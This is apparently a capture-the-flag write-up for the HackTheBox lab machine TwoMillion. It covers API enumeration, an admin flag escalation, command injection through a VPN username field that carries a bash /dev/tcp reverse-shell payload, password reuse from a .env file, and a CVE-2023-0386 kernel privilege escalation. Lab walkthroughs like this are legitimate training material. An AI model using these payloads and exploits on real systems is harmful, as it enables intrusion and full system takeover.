HackTheBox TwoMillion
Writeup for HackTheBox TwoMillion
Machine Synopsis
Key exploitation techniques:
- JavaScript deobfuscation for invite code generation
- API endpoint enumeration and parameter manipulation (admin elevation)
- Command injection for Remote Code Execution (RCE)
- Information disclosure via
.env
file (plaintext credentials) - Password reuse for SSH access
- Linux Kernel Privilege Escalation (CVE-2023-0386 - OverlayFS/FUSE)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -sC -sV 10.10.11.221
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
8888/tcp open http SimpleHTTPServer 0.6 (Python 3.10.6)
|_http-server-header: SimpleHTTP/0.6 Python/3.10.6
|_http-title: Directory listing for /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The scan identified SSH, Nginx on port 80, and a Python SimpleHTTPServer on port 8888. Browsing the web application on port 80 revealed an old HackTheBox platform login page with an “Invite Code” section.
The source code of the /invite
page contained inviteapi.min.js
.
1
2
3
<!-- scripts -->
<script src="/js/htb-frontend.min.js"></script>
<script defer src="/js/inviteapi.min.js"></script>
Visit http://2million.htb/js/inviteapi.min.js
to view the js file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eval(function(p, a, c, k, e, d) {
e = function(c) {
return c.toString(36)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))
Deobfuscating
inviteapi.min.js
1 2 3 4 5 6 7 8 9 10 // Deobfuscated snippet from inviteapi.min.js function makeInviteCode(){ $.ajax({ type:"POST", dataType:"json", url:'/api/v1/invite/how/to/generate', // This URL is actually a hint, not the generation endpoint success:function(response){console.log(response)}, error:function(response){console.log(response)} }) }
Observe that there is a makeInviteCode()
function available. Lets execute that in the browser console on /invite
.
1
2
data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr"
enctype: "ROT13"
Decode the cipher in rot13.com.
1
"In order to generate the invite code, make a POST request to /api/v1/invite/generate"
Exploitation
Invite Code Generation & Admin Elevation
A POST request to /api/v1/invite/generate
was made to obtain an invite code.
1
2
3
4
5
6
7
8
9
$ curl -X POST http://2million.htb/api/v1/invite/generate -s | jq
{
"0": 200,
"success": 1,
"data": {
"code": "V0E1WEUtTUJCTzEtNFgzQU8tQzhGTzY=",
"format": "encoded"
}
}
The Base64 encoded code V0E1WEUtTUJCTzEtNFgzQU8tQzhGTzY=
was decoded.
1
2
$ echo "V0E1WEUtTUJCTzEtNFgzQU8tQzhGTzY=" | base64 -d
WA5XE-MBBO1-4X3AO-C8FO6
The decoded invite code WA5XE-MBBO1-4X3AO-C8FO6
was used on the /invite
page, redirecting to /register
for account creation.
After registration and login, the “Lab Access” page was the only notable feature.
Clicking on Connection Pack
shows the following HTTP request.
1
GET /api/v1/user/vpn/generate HTTP/1.1
Clicking on Regenerate
shows the following HTTP request.
1
GET /api/v1/user/vpn/regenerate HTTP/1.1
Sent a HTTP request to /api
.
1
2
3
4
5
6
7
8
GET /api HTTP/1.1
# ...
HTTP/1.1 200 OK
Server: nginx
...
{
"/api/v1": "Version 1 of the API"
}
API endpoint enumeration was performed by requesting /api/v1
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
GET /api/v1 HTTP/1.1
# ...
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
Tried sending an API GET
request to /api/v1/admin/auth
but it returned false
.
Tried sending an API POST
request to /api/v1/admin/vpn/generate
but it returned 401 Unauthorized
.
Tried sending an API PUT
request to and it returned 200 OK
with an error message.
1
2
3
4
5
6
7
HTTP/1.1 200 OK
Server: nginx
...
{
"status": "danger",
"message": "Invalid content type."
}
It appears that we need a Content-Type
in the HTTP request.
1
2
3
4
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
"status": "danger",
"message": "Missing parameter: email"
}
Now we need an email
parameter in our HTTP request.
1
2
3
4
5
6
7
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
{
"email" : "shiro@2million.htb"
}
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
"status": "danger",
"message": "Missing parameter: is_admin"
}
Now we need an is_admin
paramter.
1
2
3
4
5
6
7
8
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
{
"email": "shiro@2million.htb",
"is_admin": true
}
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
"status": "danger",
"message": "Variable is_admin needs to be either 0 or 1."
}
The is_admin
parameter only accepts 0
or 1
as value.
1
2
3
4
5
6
7
8
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
{
"email": "shiro@2million.htb",
"is_admin": 1
}
1
2
3
4
5
6
7
HTTP/1.1 200 OK
...
{
"id": 14,
"username": "shiro",
"is_admin": 1
}
The server responded with {"id": 14, "username": "shiro", "is_admin": 1}
, confirming admin elevation. This was verified by a GET request to /api/v1/admin/auth
, which returned {"message":true}
.
Command Injection (www-data)
With admin privileges, the /api/v1/admin/vpn/generate
POST endpoint was targeted for command injection.
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
"status": "danger",
"message": "Invalid content type."
}
It appears that we need a Content-Type
in our HTTP request.
1
2
3
4
POST /api/v1/admin/vpn/generate HTTP/1.1
...
Content-Type: application/json
...
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
"status": "danger",
"message": "Missing parameter: username"
}
Now we need a username
parameter.
1
2
3
4
5
POST /api/v1/admin/vpn/generate HTTP/1.1
...
{
"username": "shiro"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/1.1 200 OK
...
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>
-----BEGIN CERTIFICATE-----
...
We have successfully generated our VPN. However, the VPN generated didn’t look interesting.
Initial testing with username: "shiro;id #"
confirmed command injection, as the id
command’s output (uid=33(www-data) gid=33(www-data) groups=33(www-data)
) was returned in the VPN configuration.
1
2
3
4
5
POST /api/v1/admin/vpn/generate HTTP/1.1
...
{
"username": "shiro;id #"
}
1
2
3
HTTP/1.1 200 OK
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This was leveraged to gain a reverse shell.
1
2
3
4
5
POST /api/v1/admin/vpn/generate HTTP/1.1
...
{
"username": "shiro;bash -c 'bash -i >& /dev/tcp/$ip/9001 0>&1' #"
}
A netcat
listener was set up on the attacking machine.
1
2
3
4
5
6
$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.11.221] 33680
bash: cannot set terminal process group (1178): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$
This granted a reverse shell as www-data
.
Privilege Escalation
.env File & Password Reuse (admin)
Enumeration within the /var/www/html/
directory revealed a .env
file.
1
2
3
4
5
6
7
8
9
10
11
12
www-data@2million:~/html$ pwd
/var/www/html
www-data@2million:~/html$ ls -la
total 56
...
-rw-r--r-- 1 root root 87 Jun 2 2023 .env
...
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
The .env
file contained plaintext database credentials: DB_USERNAME=admin
and DB_PASSWORD=SuperDuperPass123
. Assuming password reuse, these credentials were used to switch user to admin
.
1
2
3
4
5
6
www-data@2million:~/html$ su admin
Password: SuperDuperPass123
whoami
admin
id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
SSH access was then established as admin
for a stable shell.
1
2
3
4
$ ssh admin@10.10.11.221
admin@10.10.11.221's password: SuperDuperPass123
...
admin@2million:~$
Linux Kernel Exploit (Root) via CVE-2023-0386
Upon SSH login, a mail message hinted at a Linux kernel vulnerability related to OverlayFS / FUSE. The mail can be found at /var/mail
.
1
2
3
4
5
6
7
8
admin@2million:/var/mail$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
...
That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
...
The kernel version was identified using uname -a
and cat /etc/lsb-release
.
1
2
3
4
5
6
7
admin@2million:/var/mail$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
admin@2million:/var/mail$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.2 LTS"
Ubuntu 22.04 with kernel 5.15.70-051570-generic
is vulnerable to CVE-2023-0386 (OverlayFS/FUSE privilege escalation). The exploit code was downloaded from GitHub, transferred to /tmp
on the target, and unzipped.
1
2
3
4
5
6
7
8
9
# On attacker
$ scp CVE-2023-0386.zip admin@10.10.11.221:/tmp
# On target
admin@2million:~$ cd /tmp/
admin@2million:/tmp$ unzip CVE-2023-0386.zip
admin@2million:/tmp$ cd CVE-2023-0386
admin@2million:/tmp/CVE-2023-0386$ make all
...
The exploit binaries were compiled. Following the exploit’s instructions, the fuse
and exp
binaries were executed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc &
[1] 18926
admin@2million:/tmp/CVE-2023-0386$ [+] len of gc: 0x3ee0
admin@2million:/tmp/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root root 4096 May 23 13:54 .
drwxrwxr-x 6 root root 4096 May 23 13:54 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:/tmp/CVE-2023-0386#
The exploit successfully leveraged the kernel vulnerability, granting a root shell.
There was a thank_you.json
at /root
. You can find the decoded text here.